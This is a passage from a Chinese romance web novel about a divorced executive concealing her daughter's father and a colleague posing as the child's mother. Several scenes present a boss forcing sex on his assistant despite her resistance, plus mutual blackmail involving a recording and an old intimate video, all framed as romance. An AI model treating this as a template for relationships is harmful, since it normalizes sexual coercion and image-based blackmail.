“霍总,别这样。解决问题有很多种方式,你怎么样才能消气?我现在手里有两百万左右,全给你好不好?”
听完这话,霍宗辞的神情更冷了几分。
她就这样抗拒自己?跟自己睡还委屈她了?
霍宗辞自视甚高,从来都是女人对他求之不得,像莫兰溪这样,得了便宜还卖乖的,简直是在羞辱他。
这话不仅没有平息他的怒气,反而让他更想乱来。
“哟,手里有这么多钱呢?是仙人跳了40个我这样的冤大头吗?”他冷冷道。
莫兰溪倒是不怎么因他的话觉得难堪,毕竟她的确用那样不堪的手段骗了他。
她更多的是害怕。
她垂着眼,不敢看他:“别管钱怎么来的,我给你,放过我好不好?”
“怎么,跟我睡还委屈你了?”
吃亏的是他才对!
莫兰溪:“你一边跟我这样,一边追宋总,对宋总不公平。”
“是对宋清殊不公平,还是觉得对你自己不公平,嗯?”
霍宗辞无限地凑近,两人的呼吸纠缠在一起,莫兰溪透不过气来。
“我不重要,主要是宋总。”她强撑着说。
她知道,如果敢说自己也觉得不公平,一定会被霍宗辞羞辱,问她也配。
倒不如预判他的预判,不要自取其辱。
“那你委屈什么?”
“没有。”
“没有?自己看看你的脸。”霍宗辞将她的头往一旁旋转,在电梯壁的镜子上,莫兰溪看到一双悲伤的眼睛。
“我……”
霍宗辞放开钳制着她下巴的手,扯过她的手腕,系了根什么东西上去。
莫兰溪低头,便看到了腕子上那根细细的红线。
“这是什么?”她有点无措。
霍宗辞眼里有一闪而过的不自然,声音依旧冷淡:“标记,我要你看到这根线,就想起欠我什么。”
莫兰溪想解开,对上霍宗辞的眼神又猛地停下。
地下一层到了,电梯门打开。
霍宗辞这才放开对她的钳制,两人整理了一下有点凌乱的衣服,一前一后走出去。
莫兰溪掏出手机想问盛熙川车停在哪里,却听到一声清晰的“妈妈。”
她循声望去,便看到珍珠在盛熙川怀里对她张开小手。
莫兰溪大步走过去,抱起珍珠,对盛熙川道谢。
又假意拍了一下珍珠的屁股:“以后再乱跑,看妈妈不收拾你!”
盛熙川原本就没怀疑过珍珠的身世,此时更是深信不疑了。
珍珠抱着莫兰溪的脖子,跟她贴脸,俨然一副乖宝宝模样。
盛熙川没多说什么,直接走了,莫兰溪抱着珍珠进电梯间,又看到了倚在玻璃门上的霍宗辞。
他竟然还没走。
他想吸烟,但看到珍珠便没有点,只是在指甲把玩着。
莫兰溪抱珍珠的手猛地收紧
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,面上不动声色地从他身边走过。
身后,霍宗辞一声嗤笑:“在国外把孩子都生了?”
还是个漂亮孩子,女儿随爸爸,那个男人应该也有好相貌。
也不知道比他如何!
莫兰溪没说话,心跳得乱七八糟。
电梯来了,她迅速抱着珍珠走了进去。
电梯里,一大一小两个女人面面相觑。
珍珠先开口:“阿姨,他是你男朋友吗?”
莫兰溪托着她小肉腿的手抓紧:“别乱说。”
珍珠:“你告诉他,你不是我妈妈,你们不就没有误会了?我可以换一个假妈妈。”
莫兰溪拧她脸:“臭小孩,你今天自身难保了,知不知道?”
还替她东想西想。
珍珠吐了吐舌头。
没事,妈妈爱她,不会太难她。大不了答应妈妈一个月不吃零食。
莫兰溪下去接珍珠,宋清殊在办公室坐立难安。
她打家里电话,保姆竟然完全不知道珍珠从培训班跑出来。
再以莫兰溪名义联系培训班,那边的人被她痛斥,才说了实情。
他们在半个小时前发现珍珠不见了,便封了楼在找。
培训班负责人一看珍珠就是有钱人家的小孩,怕被家长责难,才没有第一时间告诉她们。
宋清殊听完,一肚子火气,她冷冷道:“你们都收拾收拾,这个培训班也不用干了。”
一直到莫兰溪抱着珍珠敲她办公室的门,宋清殊还涨红着一张脸。
她觉得后怕。
珍珠再聪明,也是个幼童,她这么大的孩子,被人抱走,挣扎的力气都没有,靠脑子是没有用的。
莫兰溪把珍珠放在办公室的沙发上,跟宋清殊简单说了情况。
“盛熙川没有发现,珍珠当着他的面叫我妈妈,挺机灵的。”
宋清殊冷笑,没好气地看珍珠一眼:“她当然机灵,都会爸爸妈妈两头骗了。”
珍珠瘪了瘪嘴,没敢哭。
宋清殊说完就后悔了。
那一刻,她是真的无助,对孩子说了气话。
第187章 莫兰溪反击
“别这样。”莫兰溪拍宋清殊的手臂安抚她,“你们母女两个好好沟通。”
接着,又去给她倒了杯水,才走出办公室,把空间留给她们。
宋清殊没有看珍珠,她把那杯水缓缓喝下去,深呼吸平复情绪。
珍珠在沙发上,双腿并拢,小手放在膝盖上,端端正正地坐着,等她发落。
母女两人有足足十分钟的时间沉默。
“今天跟爸爸独处了有一个小时吧?感觉如何?”宋清殊终于能不带情绪地跟珍珠说话。
亲生的,自己要生的,她拼命劝自己。
珍珠看她,又迅速收回目光:“他对我很好。”
宋清殊:“……”
她坐到珍珠身边去,在心里叹口气:“怎么个好法?”
珍珠便把自己跟盛熙川相处的细节跟宋清殊说了。
他看着还真不像个喜欢孩子的,没想到对珍珠这样有耐心,宋清殊微微吃惊。
她尽可能不带情绪,一张嘴还是不怎客观:“宝宝,你看爸爸是有滤镜的,很可能自动美化了一些细节……”
珍珠看她,眼神倔强:“没有,他就是对我很好,还很喜欢我。”
宋清殊极力控制,才没有说出“既然爸爸好,那你去跟爸爸吧”,这样的话来。
珍珠聪明独立,未必离不开她,是她自己离不开珍珠,这话不仅伤感情,还会把珍珠推远。
她心情复杂,无力感爆棚。
珍珠看出了她的伤感,伸手抱她:“妈妈。”
宋清殊搂紧她,没有说话,却不受控制地红了眼睛。
最终,她让莫兰溪把珍珠送了回去。
这件事发生后,宋清殊用了很长时间劝自己。
一个三岁的孩子,想见自己的爸爸,是她的本能。
珍珠没错。
她能在跟盛熙川相处的时候,让自己不露馅,已经很棒了。
见到莫兰溪后,那声主动的“妈妈”,更是表明了她的态度。
珍珠的心目前是在她这儿的,她不能用不恰当的行为把她推远。
但这样不是长久之计,宋清殊也一时间想不出更好的解决办法,就暂时搁置了。
她这边是亲母女,怎么都好说,麻烦的是莫兰溪。
莫兰溪把珍珠送回家,又回公司上班,当晚,被霍宗辞堵在了地下车库里。
他用自己的车把她的车堵在了里面,靠在车门上看她。
莫兰溪转身要走,被他扯住手臂压在了车头上。
她下班比较晚,同事都走得差不多了。
但人少不代表没人。
莫兰溪紧张地四处看,又看向霍宗辞:“霍总,你再这样,被人看到了说闲话,想追宋总都没有机会了。”
霍宗辞不理会她的话,他压着她,身上的气息冷得骇人。
那双又湿又魅的桃花眼,此时更是冷若冰霜,带着腾腾杀气。
“跟谁生的孩子?”
他查了一天,也没有查到莫兰溪结婚的信息。
莫兰溪:“霍总,这是我的私事。”
“私事,”霍宗辞重复她的话,“莫听澜,名字都改了,还以为你是落荒而逃,这样看,在国外的几年过得很潇洒啊。”
潇洒?
她过去叫听澜,因为是天之骄女,穿林打叶声也好,惊涛拍岸也罢,都不会对她有什么影响。
后来……她被自己的父亲二十万卖到风月场,哪里还有听澜的勇气?
莫兰溪忽略心底那点难堪。任霍宗辞质问,只是抿着唇不言语。
她越是这样,霍宗辞就越气,较着劲想欺负她。
他觉得自己简直是疯了,没见到她的几年也不觉得怎么样,见到后,根本不能从情绪里走出来。
霍宗辞不是没想过原因,最大的可能是被她仙人跳,他觉得**,以至于很多年都不能释怀。
凭什么,自己会栽到这样一个平平无奇的女人手上?
不是没想过放过她,某种意义上,放过她就是放过自己。
可他做不到。
霍宗辞从不为难自己,做不到,那就做想做的。
莫兰溪是全公司最不爱打扮的女人,她甚至下意识掩盖自己是女人这件事。
永远的黑色西装,黑框眼镜,也几乎不化妆。
她不是霍宗辞喜欢的类型,她有好皮肤,一双眼睛透着聪明和坚韧,除此之外,毫无品味,更无情趣。
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>可他就是挪不开眼,他已经很克制了!
霍宗辞又要亲她,除了亲烂她的嘴和在床上那点事,他似乎也想不出什么收拾她的手段来。
他的唇还没有覆上,电梯的方向有声音传来。
听声音应该是同事。
莫兰溪推他的胸膛,眉头都皱了起来。
霍宗辞松手,却在她直起身子时,迅速将她塞进了自己的副驾。
莫兰溪还没来得及挣扎,他已经一脚油门轰鸣而去。
坐在副驾驶上,看着霍宗辞紧抿的唇线和冷酷的侧脸,莫兰溪心内忐忑。
不能再这样下去了,她实在讨厌这种被人操控还无法摆脱的感觉。
“霍总,我们去哪儿?”
霍宗辞没有回答她的话,他一言不发。
直到车子开进一个高端小区,进了地下车库,莫兰溪才觉察到应该是他家。
她大概知道他要做什么,可随随便便带一个女人到自己家,这对吗?
更何况,她有前科,骗过霍宗辞的钱,他竟然这样不设防。
莫兰溪弄不懂他,心中忐忑。
想问去酒店行吗,又觉得像在暗示什么,也很不妥。
霍宗辞停好车,开门,握她的手腕。
看见那根红线,他莫名勾了下唇角:“算你老实。”
莫兰溪被他拉着上楼,之后推进了自己家。
霍宗辞的家很大,上下两层的复式,极繁主义风格,像他的人,花里胡哨。
没有佣人,莫兰溪心中的不自在少了一些。
她被霍宗辞压在了一层客厅的沙发上。
莫兰溪挣扎,抗拒,可霍宗辞一个字都听不进去,压着她把自己想要的花样来了个遍。
下班的时候是晚上6点多,等折腾完已经是深夜了。
莫兰溪去摸她的黑框眼镜。
眼镜在沙发缝里,已经被压断了一条腿。
沙发上是暧昧不明的水渍,她脸上的红一直晕染到鬓边。
她不说话,沉默着摆弄手机。
之后,把手机扔在身侧,跟霍宗辞谈条件:“刚才你对我用强,证据我已经发到了云端,除非你现在杀了我抛尸,不然,我就把你送进去。”
第188章 李助理会发现
此时,莫兰溪恢复了她工作时一惯的模样。
她神情清冷,一双黑眸犀利中带着直击人心的力量。
平静,沉稳,聪明,能看穿一切。
她长了一张高智感的脸,跟这些神情无比适配。除了,脸颊上还带着让人遐思的红潮。
霍宗辞点了根事后烟,懒懒地靠在沙发上。
他轻笑一声:“真的好吓人啊,这么多年过去了,你还是没变,让我猜猜,这次是录音,还是视频呢。”
莫兰溪抿了抿唇:“录音。”
霍宗辞吸了口烟,凑近她,轻浮地把烟圈喷在她脸上:“你要不要先照照镜子,看看自己现在什么模样?
爽成这个样子,警察来了看到你,也不相信你不自愿吧。”
莫兰溪握紧拳,脸上的冷静神色一点点崩塌。
嘴上依然强硬:“别管我什么样子,哪怕我之前愿意,中间不愿意,你也算**。”
霍宗辞“哦”了一声,懒洋洋起身,之后,拿出遥控器,打开了客厅的电视。
莫兰溪不明所以,直到她看到霍宗辞投屏,之后,在荧幕上看到了年少的自己。
青春稚嫩的身体,白中透粉,嘴唇微张,神色迷离,一双眼睛里,都是水汽。
声音更是**到不堪入耳。
霍宗辞压着她,花样百出。
她要钱的时候他怎么说的来着——
“我以为我们在谈恋爱。”
想起他当时错愕中带着受伤的神色,莫兰溪闪过一丝不忍。
明明是她拍的视频,如今看,竟然像A片。
两人的呼吸都一点点粗沉起来,莫兰溪澡都顾不上洗,她整理自己的衣服,想夺门而逃。
“你自己考虑清楚,大不了一起坐牢,鱼死网破。”
她说着,人已经跑到了门口。
霍启尊身上的家居服大敞着,两步追上来,将她压在了门上。
他的唇覆上来,开始新一轮掳掠。
“随便你,但警察来的时候,我一定会在你身上。”
当晚,莫兰溪在霍宗辞家里留宿了。
她腿都是软的,逃跑也没有力气。
后来被他抱着去洗澡时,更是精神涣散,昏昏欲睡。
半梦半醒之间,她被霍宗辞抱着喂了点水,再之后,就什么都不知道了。
醒来时,已经是早上,是被霍宗辞捏着鼻子叫醒的。
莫兰溪看表,离上班时间只有半小时。
再回家是来不及了,她下床,去客厅找自己在地上的衣服。
衬衫被扯崩了两颗扣子,没办法穿出门。
她求救般看向霍宗辞。
霍宗辞看一眼茶几上一个袋子:“助理送来的,你试试。”
他的助理是李思睿,也跟他一样,在公司是个不好答对的主儿。
莫兰溪一听霍宗辞让李思睿买女装,脸上闪过一丝尴尬:“他如果在公司看到我穿他买的衣服……”
霍宗辞:“他嘴很严。”
莫兰溪皱眉:“算了,我请假吧。”
霍宗辞把衣服塞到她手里,眼神里带着不容违抗的压迫感:“怎么,跟我‘通奸’还委屈你了?”
通奸二字,还真是让人**。
霍宗辞永远知道怎么羞辱她。
莫兰溪没再作声,拿起袋子,去了最近的房间,把衣服换上。
衣服买的倒是还算中规中矩:香奈儿套装。
外面是粗花呢质感的外套和裙子,里面是一件真丝衬衫。
但问题出在颜色上,浅粉色,是莫兰溪从来不会涉猎的领域。
尺码倒是非常合身,霍宗辞看女人很准。她硬着头皮穿上,走出门时有点放不开:“我还是请假先回一趟家。”
霍宗辞从身后拥住她:“就穿这件。”
“李助理会发现。”
“你不穿,我也告诉他。”
莫兰溪再说什么都是多余了,她沉默着穿鞋准备出门,脸都不想去洗。
霍宗辞在身后拢住她的头发,随手一挽,用发夹固定。
莫兰溪照镜子,才发现脑后的钻石发夹,非常精致闪亮,是霍宗辞自己的风格。
他仗着长得好,经常穿女装,戴女性饰品,也丝毫不显得娘炮。
莫兰溪习惯将自己藏起来,实在不想这样招摇。自从十几岁进过风月场之后,她害怕所有男人的目光。
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可看到霍宗辞警告的眼神,拒绝的话还是没有说出口。
“等我。”霍宗辞说。
不一会儿,从自己的化妆台拿了对珍珠耳环出来,是耳夹款——
莫兰溪是真朴素,连耳洞都没有。
他亲自替她戴上耳环,才道:“走吧。”
也没管她洗不洗脸这件事。
不戴黑框眼镜的莫兰溪,有一张三庭五眼很标准的脸,看上去很正派。
她连眉毛都不需要画,眉形和长度都是合适的。
粉色香奈儿套装让她冷静平和的气质稍加改变,有了几分女性化的娇美。
但霍宗辞也没有多在意,毕竟,再好看的女人他也见过,再好看的女人,也不如他好看。
两人一起出门。
“我自己打车走。”莫兰溪坚持,眼神里带了一点祈求。
“随你。”霍宗辞从鼻子里哼了一声,抛下她走了。
莫兰溪第一次踩点到公司。
打卡时遇到了李思睿,对方和往常一样跟她打了个招呼,一个多余的疑问眼神都没有。
果然,能在霍宗辞身边做助理,也都是厉害角色。
她微微松口气,自在了一点。
只不过,没想到她这身衣服引起了不小的轰动。
“莫助理好美啊。”同来打卡的实习生小姑娘先夸她。
莫兰溪当她嘴甜,笑着道谢。
到后来,见到的每一个同事,都在夸她。
说她总穿黑西装原来是为了隐藏美貌,没想到连妆都不需要化,换个衣服已经是王炸。
宋清殊更是惊艳得不得了,直接提了要求:“你一个二十多岁的小姑娘,以后能不能都穿成这样上班?赶紧回去把那些黑西装都给我扔掉。”
莫兰溪觉得他们太夸张,却不得不在心里感叹一句李思睿的好品味。
李思睿只是个取货送货的,哪里知道自己会被莫兰溪这样夸。
开会的时候,霍宗辞又看到莫兰溪,她坐在宋清殊身后,垂头记着什么,神情柔和,衣领处有一处浅浅的红痕。
他燥郁的情绪终于纾解了一些。
可莫兰溪有个孩子,这件事怎么处理?
第189章 离间
转眼间到了除夕。
陆夫人提前很多天就跟宋清殊打了招呼,要她带珍珠回陆家过年。
宋清殊自然是想去的,她怕宋家那边又因为这件事挑理,以防万一,还提前去了一趟宋家。
给宋夫人带了点燕窝虫草之类的补品,又给宋先生带了两箱飞天。
宋先生不知是真不在,还是不想见她,面都没露。
宋夫人倒是出来跟她客气了两句。
宋清殊还没开口说过**,宋夫人抢白道:“按理说嫁出去的女儿不该在家里过年,离婚的女儿更不应该,不然对娘家运势不好。
我和你爸倒也不很在意这个,你要是实在没地方去,想回来过就回来吧。”
这话,宋清殊在脑子里过了过。
看这意思,宋夫人以为她来是怕孤家寡人过年被外人笑话,想回宋家。
提前给她打预防针呢。
话都说到了脸上,她要是再敢到宋家过年,就是想给娘家添堵。
宋清殊简直要被气笑了。
“好的妈,那我回来吃年夜饭。”她说。
眼看着宋夫人拉下了脸,宋清殊才嗤笑一声:“别害怕,妈妈,干妈早就约了我过去一起热闹热闹,我不会来的。”
这话说的宋夫人脸上红一阵白一阵,不自在极了。
但通过上次许瞳“捉奸”一事,宋夫人隐隐约约觉得她跟盛熙川藕断丝连,对她又不敢太为难。
宋夫人张了张嘴,想阴阳宋清殊两句,宋清殊却已经站起身要离开。
“那我就不打扰你们阖家欢乐了,别到时候再说我只认干妈不认亲妈就行。”
她走得干脆,一个多余的眼神都没有给宋夫人。
宋清殊很早就接受了自己不被亲生父母爱这件事,自始至终对宋家没什么感情,更没有什么不该有的期待,所以宋家怎么对她,也不至于伤心。
她提前几天给保姆放了假,除夕当天,一早上便给珍珠收拾妥当,下楼去找莫兰溪。
这是15岁后第一个和陆夫人一起过的年,她格外珍惜。
她在白色羊绒大衣里穿了一件红色针织裙,给珍珠也穿了一身红。
母女两人精致又喜庆,以至于莫兰溪看见赞不绝口,掏出手机,替两人拍了好几张照片。
莫兰溪倒是没有特地打扮,但看得出她心情也很好。
三人有说有笑地去了陆家。
陆先生新丧,陆氏老宅并没有过多装饰。
红灯笼倒是挂了的,庭院的树上还挂了一些挥春和柿子,橘子之类的装饰。
陆夫人早早地等她们。
陆夫人、宋清殊和莫兰溪,三个人本就投脾气,如今又一同共事,坐在一起,其乐融融。
她们是后组成的家人,抱团取暖,反而比很多亲母女都更亲密一些。
晚上,8点钟吃年夜饭。
吃完后,她们三个坐在客厅看春晚。
陆展带着珍珠在挂着红灯笼的院子里玩。
看到一半,宋清殊不放心,出去看一眼,走到门口的台阶上,正看见陆展把珍珠抱起来,去摘树上装饰的橘子。
“舅舅,我要最高的那个!”珍珠说。
这是珍珠第一次见陆展,却一点都不生分,陆展也分外喜欢她。
宋清殊觉得,他们的相处,很像当年她和莫北丞。
随即,她被自己这个念头吓了一跳。
莫北丞当年对她的确好,再加上年少时期的她太缺爱,以至于分不清亲情和爱情的界限,才慢慢陷进去。
她想自己的过去,再想她的女儿。
珍珠虽然不缺爱,但她的生活中一直没有男性长辈的存在,她成长在一个全女性的环境里。
所以,她未必会跟异性健康地相处,也很有步她后尘的风险。
宋清殊很久没有进屋,她胡思乱想,想起自己的年少时期,又想起自己嫁给盛熙川后那半年的光阴。
她夏天回国联姻,原以为至少能过个一年,谁知,他们的婚姻竟然没有撑到春节。
之后的几年,春节都是她都是在花都过的,跟国外也差不了许多,除了年味更浓一点,以及有了珍珠。
兴许是隔了太久,如今再想起一路走来种种经历,倒也不觉得有什么了。
她站在那里,眼睛发干。
这时,大衣口袋里的手机响了,是盛熙川开的视频。
也许是因为氛围恰到好处,让人感性。
宋清殊接了。
耳边有天空中的烟花爆破声,在万千的灯火映照下,两人彼此凝视,神情都很柔和。
“吃饭了吗?”盛熙川问她。<
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br>得到肯定的答案后,他又问,“那要不要出来一下?”
宋清殊看他身后,环境有些熟悉,是陆宅外面的私家路,他在陆家门口。
她没有拒绝,挂了视频,慢慢走出去。
盛熙川的车停在不远处,人就站在大门口等她。
他穿了一件黑色大衣,双手插在口袋里。灯光将他的身影拉的很长,他看上去,高大又落寞。
宋清殊忽略自己心里那点不平静。
她走到大门口,两人隔着门槛看着彼此。
宋清殊这才发现,他大衣里面穿了件红色毛衣,跟她的针织裙看上去很搭。
氛围难得的好,可盛熙川一张嘴,就是不怎么中听的话:
“你那个男朋友,除夕夜都没有过来陪你吗?”
宋清殊陡然被拉回清明的现实里,她真是失心疯了要心疼他。
“他在的企业不过春节,没有假期。”她稳稳地说。
果然是个洋鬼子。
盛熙川心口发疼,面上却没有什么波澜。
“想陪你,有的是办法,怎么会需要你替他找借口,看来还是不够爱。”
宋清殊没有接他的话,只是静静地看着他。
她的目光很直,带着压迫感,一寸不让。
反而是盛熙川,这个向来不动声色的人被她盯得不自在。
他将手伸进大衣口袋,握住里面的东西。
突然觉得自己有点好笑,原本来意不是这个,偏说这样的话,让她不痛快,自己又能好受吗?
宋清殊缓缓开口,声音没有一丝温度:“盛总,大除夕夜,我不想跟你吵架,但如果你来就是想离间我和我男朋友的关系,那请回吧。”
她神情淡漠中透着凉意,盛熙川在大衣口袋里的那只手攥紧,又松开。
“新春快乐,再见。”宋清殊说,转身往回走。
盛熙川心里一急,大步向前,从身后抱住了她。
宋清殊手肘向后,顶他肚子,想让他吃痛放手。
但他跟感觉不到疼一般。
只是问她:“宋清殊,告诉我,朱小明是谁?”
他甚至让人去查了这几年的海关记录,同名同姓的有一些,但哪一个都不像宋清殊的那个男朋友!
宋清殊这才想起自己留在姻缘殿里的名字。
第190章 珍珠居然没见过雪
宋清殊试图将环住自己的手臂拉开,可盛熙川太有力气,试了几次以失败告终。
她泄气:“他不是同胞,这个中文名字是我起的。”
以免哪个叫朱小明的倒霉蛋被他迁怒,这个借口比较好。
盛熙川的眸子瞬间黯淡下来,果然如他所料。
“离开他,宋清殊,不然你知道的,他不会好过。”他一字一顿。
心口插满了尖刀,盛熙川不去管,任它鲜血淋漓。
盛熙川偏执,宋清殊的倔强更是不输他。
她破罐子破摔地冷笑:“你有什么手段用就好了,但你要知道,逼死他,就是逼死我。”
对一个虚拟人假扮深情,她都觉得自己有表演天赋。
盛熙川的手臂僵了一瞬,在宋清殊以为他要放手的时候,突然,他强势地将她转过来,面对自己。
“宋清殊,你要是生气,恨我,你可以打我骂我,或者拿把刀过来捅我。没必要找这么个人……”
嘴上强硬,心里的底气却几乎泄了个干净。
宋清殊做的没错,打他骂他,他不会退缩,这个人的存在,才是诛心。
盛熙川把后面的话咽下去,心里千钧重。
猝不及防对上一双受伤的眼睛,宋清殊迅速挪开目光。
“放开,我不想在这样的日子跟你吵架。”她好声好气却不太敢看他。
盛熙川放开手,退后了半步。
此时,一个小小的声音道:“盛叔叔,宋阿姨,你们在做什么?”
盛熙川和宋清殊一齐回头。
是小珍珠站在两步远处看他们。
她穿一件红色羽绒斗篷,戴着帽子,夜色里,像一个童话镇走出来的精灵。
宋清殊对珍珠投去警告的一眼。
珍珠心虚,迅速把目光转向盛熙川。
盛熙川难得有个台阶下,他蹲下身,把珍珠抱起来。
“叔叔恰好路过,刚才看到河边有人放烟花,也买了一些,一起去放吗?”盛熙川问珍珠。
珍珠装出天真无邪的模样:“好耶!我还没有放过烟花。”
宋清殊直皱眉,她的女儿越来越不受控制。
珍珠又看向她,硬着头皮忽略她严厉的目光:“宋阿姨一起吧。”
盛熙川原本就喜欢这个孩子,此时,简直觉得珍珠是天神降临了。
还有一件事,盛熙川没有对任何人说。
他办公室是有隐藏监控的,供他复盘自己跟高层或者来客的谈话,以及对方的小动作。
那天将珍珠送到莫兰溪手里后,他调监控,还原了珍珠和吴小爱发生摩擦的全过程。
吴小爱的确没对珍珠说“你妈妈不要你了”这样的话,但说出的话也很不讨喜。
他诧异的是珍珠回击的气势和反应。
她那样小,却能听出好赖话,且面对一个讨厌的大人毫不退让,还能明确知道他是吴小爱的上司,找他告状。
她告状的手段,简直称得上栽赃,难怪吴小爱当时一脸惊诧委屈。
这样的手段放在大人身上让人不齿,但因为实施者是珍珠,便有种人小鬼大的可爱。
盛熙川更惊讶的是,小孩子都喜欢卖弄聪明。但珍珠不会。
不仅不自恃聪明,她还有意少说话,在他面前锋芒尽藏,简直是大智慧了。
这个孩子是真的不一般。
他几次想跟宋清殊说如果他们的孩子当时出生,也一定会是这个样子,漂亮可爱,又聪明狡黠,还有大小姐的任性。
可一忍再忍,话还是没有说出口。
这是两人的伤心事,也是他的黑历史。
夜色里,盛熙川眉目柔和,好像刚才阴阳怪气她的另有其人:“一起去吧,我跟莫助理打个招呼。”
珍珠的眼神更是殷切滚烫。
宋清殊在心里叹口气。
这孩子……
她不得不假模假式地跟莫兰溪报备了一声,带珍珠上了盛熙川的车。
车上没有儿童座椅,宋清殊抱珍珠坐后排。
盛熙川从倒车镜里看两人。
此时,宋清殊正把珍珠的小红帽摘下来,露出淬玉般的一张脸。
有那么一瞬间,盛熙川觉得两人长得有点像。
宋清殊注意到了盛熙川的目光,心下紧张,捏了一下珍珠的小肉腿。
“谢谢阿姨,我妈妈知道我跟你在一起很放心。”珍珠脆生生开口道。
盛熙川收回目光,专心开车。
而珍珠给了宋清殊一个得意的眼神,仿佛在说,妈妈,我厉害吧。
宋清殊在心里深深叹了口气。
刀尖跳舞,不是长久之计。
很快到了河边,盛熙川打开后备箱。
满满几大箱烟花,各式各样的都有。
他先摆了一排出来。之后,又拿了两根烟花
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棒,问宋清殊:“你敢点吗?”
宋清殊没兴致,却也没有拒绝。
于是,盛熙川点了烟花棒,递给她一根。
两人凑过去分头点燃引线,之后,一同大步跑开。
伴随着爆破的声响,一束束五彩斑斓的火花腾空而起,在空中炸成不同的形状。
硝石味弥漫在鼻端,眼前更是烟雾缭绕,宋清殊仰头看着,不由想起四年前的那个夜晚。
那时,COS成夜礼服假面的盛熙川,为她策划了一场盛大的烟花秀,浮夸得让无数人尖叫。
那时,他也知道两人感情的病灶在哪里,却没办法解决。
只能用这些感觉女孩子会喜欢方式,挽回她。
被拒绝后,还自尊心受挫,很长时间没有理她。
那时,他们都不怎么懂爱,摸索着前行,给了彼此很多说了矫情,不说憋屈的时刻。
那些时刻,像指甲边缘的倒刺,不致命,却磨人。
换了一个性格黏糊些的,忍一忍,熬几年,磨合的差不多了,说不定也能白头偕老。
偏她心里棱角多,不愿将就。
宋清殊望着炸开的烟花失神,盛熙川显然也想到了过去。
“那时候我似乎做了很多自我感动的事。”他的声音在她头顶响起,有点缥缈。
宋清殊转头,截住他的话:“过去的就不必再提了。”
四年了,她早已和往事达成了和解,只希望他能跟她保持君子之交,远一点,淡一点。
“哇!好美!”珍珠在一旁仰着头赞叹。
宋清殊当然知道自己女儿的天真无邪只是表象,可依然觉得在烟火的映衬下,珍珠一张小脸红彤彤的,怎么看怎么可爱。
行吧,除夕夜跟爸爸一起放烟花,对珍珠来说,应该也是很珍贵的回忆了。宋清殊无奈地想。
此时,天空竟然开始飘雪,是天气预报没有料到的。
零星的雪花落下,珍珠又是一声欢呼。
“这是雪吗?”
她兴奋地伸着小手接落下的雪花,看向宋清殊时,险些就喊出了“妈妈”,又迅速闭嘴。
她在四季如春的花都长大,是没见过雪的。
盛熙川看珍珠兴奋的模样,也受了她的感染,缓缓伸出手去接落下的雪花。
“好奇怪,莫助理之前一直在芬兰生活,珍珠居然会没见过雪?”他说。
第191章 陈南枝逼宫
百密一疏,宋清殊的心脏剧烈的跳动起来。
她忘了跟珍珠说一些关于莫兰溪的细节。
因为她做的准备,从来都是自己如何解释珍珠身世,没有珍珠独自面对盛熙川这一环。
天气冷,宋清殊裹紧大衣,脑子冻僵了两秒。
她不能解释得太细,对别人母女的事知道太多,更让人生疑。
“估计那时候年纪太小,不太有印象吧。”宋清殊笑,蹲下身摸摸珍珠的小脸,给她使眼色。
“芬兰一年有好几个月都下雪,珍珠没有见过雪吗?”
珍珠会意,眨了一下眼睛。
随即撇了撇嘴:“冬天妈妈不让我出门。”
宋清殊略微松了口气。
不知道盛熙川信没信,她心里有鬼,不敢再面对这个问题。
“那我们今天好好看看雪。”盛熙川也蹲下来,他替珍珠把帽子抽绳抽紧一些,声音温柔得有点过分。
盛熙川替她整理帽子时,珍珠明显呼吸都放慢了。
宋清殊知道,她在感受父爱。
她觉得自己真是残忍。
当初想生下这个孩子,只是想要一个完全属于自己的亲人,血脉相连。
却没有想过,她会长大,会需要父亲。
她心内五味杂陈。
“咔嚓”一声,三人警觉抬头,是一个年轻的男孩对着他们按下了快门。
那男孩旁边站着他的女朋友,一个星星眼看着他们的女孩。
见三人看他们,那女孩从男孩手里接过一个卡片,跑过来递给宋清殊。
“姐姐,这是我男朋友用拍立得拍的,你们一家三口颜值好高,好温馨啊!”看着他们三人,女孩已经在畅享自己的未来了。
宋清殊想解释不是一家三口,又觉得辜负这对恋人的好意,有点不忍心。
她还没开口,盛熙川先道谢。
“能不能加个联系方式,把底片发给我。”他又跑去跟那男孩说。
那张拍立得照片,自然是落到了珍珠的手里。
飘落的碎雪中,宋清殊和盛熙川身上都带了一点红,而珍珠的红色斗篷更是鲜活可爱。
说他们不是一家人,谁会信呢?
珍珠很喜欢那张照片,拿在手里看个不停。
宋清殊心软得厉害,她着实亏欠她的女儿。
雪越下越大。
莫兰溪适时打电话过来。
她太聪明了,知道这时候作为一个“母亲”,应该关心一下自己的“女儿”。
“我给珍珠穿得不是很厚,差不多就回来吧。”她说。
宋清殊刻意把音量开到最大,有点漏音。
之后说马上就回。
盛熙川给两人开车门,宋清殊先把珍珠抱进去,在自己要坐下时听盛熙川低声道:“我们的孩子如果还在,一定也这样聪明可爱。”
宋清殊看他一眼:“盛熙川,过去的事,就过去吧。往前看。”
盛熙川:“前方如果没有你,我什么都看不到。”
这话宋清殊没接,她坐好,关上车门。
盛熙川沉默开车,路上,三人都没有出声。
车子一路开到陆家去,一辆小牛对向驶过。
车载顶篷并未打开,但盛熙川看到了霍宗辞的脸。
他也来找宋清殊过除夕吧,没想到被自己截了胡。
两人沉默着对视一眼,谁也没开口。
宋清殊坐在后排,根本没注意。
当车子在陆家门口停好时,莫兰溪也在。
她头发湿湿的,大衣上也有雪,显然等了好一会儿。
宋清殊带珍珠下车,替她把肩上的雪花抚下去,才笑道:“怕我把你女儿拐跑啊。”
莫兰溪也笑了一下:“珍珠和你出去,我当然放心,就是出来看看雪。”
夜色下,宋清殊没注意到她被蹂躏得发红的唇。
盛熙川也下车,跟莫兰溪点头打过招呼。
正要说再见,一辆车又停在了门前的停车坪上。
他们看过去,开车的是陆家三叔,后座是陈南枝和那个叫陆枭的孩子。
陆家今晚倒是热闹。
宋清殊和莫兰溪的神色下意识绷紧。
盛熙川见状,默不作声地往前了半步,自己迎上三人。
陆三叔没料到盛熙川也在,明显紧张了一瞬。
“南枝说,现在是除夕夜,理应合家团聚。带枭儿过来看看大嫂和展展。”他强作淡定。
宋清殊和莫兰溪挡在门口,没有让人进去的意思。
“干妈和陈小姐非
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亲非故,没有团聚的道理。”
“姑姑今天休息得早,有什么事,过完十五再说。大过年给人添堵,不怕一年不顺当吗?”莫兰溪也说。
两人都很强势,衬得陈南枝好似受了天大委屈。
陆三叔知道这两个女人不是善茬,早就做好了心理准备。
他拿出一份报告来,想给两人看。
“这是枭儿跟我做的亲子鉴定,我们的确是有一部分亲缘关系的。枭儿是陆家的种,不能就这么流落在外。”
两人谁也没接。
